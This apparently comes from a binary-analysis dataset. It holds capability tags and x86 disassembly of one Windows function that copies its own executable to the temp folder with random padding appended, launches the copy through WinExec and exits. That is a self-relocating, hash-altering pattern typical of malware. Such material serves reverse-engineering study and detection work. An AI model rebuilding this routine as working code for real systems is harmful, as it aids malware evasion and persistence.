Function at 0x401c91
Capabilities:
Create process on windows
Get common file path
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x644
push edi
push 0x100000
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x638], eax
mov eax, dword [ebp - 0x638]
mov dword [ebp - 0x230], eax
push 0x100000
push 0
mov ecx, dword [ebp - 0x230]
push ecx
call sub.MSVCRT.DLL_memset
add esp, 0xc
mov dword [ebp - 0x118], 0
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.MSVCRT.DLL___p___argv]
mov eax, dword [eax]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x230]
push edx
call fcn.00401b93
add esp, 0xc
mov dword [ebp - 0x634], eax
mov eax, dword [ebp - 0x230]
xor ecx, ecx
mov cl, byte [eax]
cmp ecx, 0x4d
je 0x401d3b
lea edx, [ebp - 0x118]
push edx
call dword [sym.imp.MSVCRT.DLL___p___argv]
mov eax, dword [eax]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0x230]
push edx
call fcn.00401b93
add esp, 0xc
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x401d01
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x114], 0
xor eax, eax
mov dword [ebp - 0x113], eax
mov dword [ebp - 0x10f], eax
mov dword [ebp - 0x10b], eax
mov word [ebp - 0x107], ax
mov byte [ebp - 0x105], al
push 5
lea ecx, [ebp - 0x114]
push ecx
call fcn.00401afd
add esp, 8
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
xor edx, edx
mov ecx, 0x200
div ecx
mov dword [ebp - 0x224], edx
mov byte [ebp - 0x21c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x21b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edx, [ebp - 0x21c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathA]
lea eax, [ebp - 0x114]
push eax
lea ecx, [ebp - 0x21c]
push ecx
push 0x407164
lea edx, [ebp - 0x104]
push edx
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov dword [ebp - 0x22c], eax
mov ecx, dword [ebp - 0x224]
push ecx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x63c], eax
mov edx, dword [ebp - 0x63c]
mov dword [ebp - 0x228], edx
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
lea eax, [ebp - 0x220]
push eax
mov ecx, dword [ebp - 0x118]
push ecx
mov edx, dword [ebp - 0x230]
push edx
mov eax, dword [ebp - 0x22c]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0
lea ecx, [ebp - 0x220]
push ecx
mov edx, dword [ebp - 0x224]
push edx
mov eax, dword [ebp - 0x228]
push eax
mov ecx, dword [ebp - 0x22c]
push ecx
call dword [sym.imp.KERNEL32.DLL_WriteFile]
mov edx, dword [ebp - 0x22c]
push edx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [ebp - 0x228]
mov dword [ebp - 0x640], eax
mov ecx, dword [ebp - 0x640]
push ecx
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [ebp - 0x228], 0
mov edx, dword [ebp - 0x230]
mov dword [ebp - 0x644], edx
mov eax, dword [ebp - 0x644]
push eax
call sub.MFC42.DLL_operatordelete
add esp, 4
mov dword [ebp - 0x230], 0
mov byte [ebp - 0x630], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x62f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.DLL___p___argv]
mov ecx, dword [eax]
mov edx, dword [ecx]
push edx
lea eax, [ebp - 0x104]
push eax
push 0x407170
lea ecx, [ebp - 0x630]
push ecx
call dword [sym.imp.USER32.DLL_wsprintfA]
add esp, 0x10
push 0
lea edx, [ebp - 0x630]
push edx
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x1f4
call dword [sym.imp.KERNEL32.DLL_Sleep]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_ExitProcess]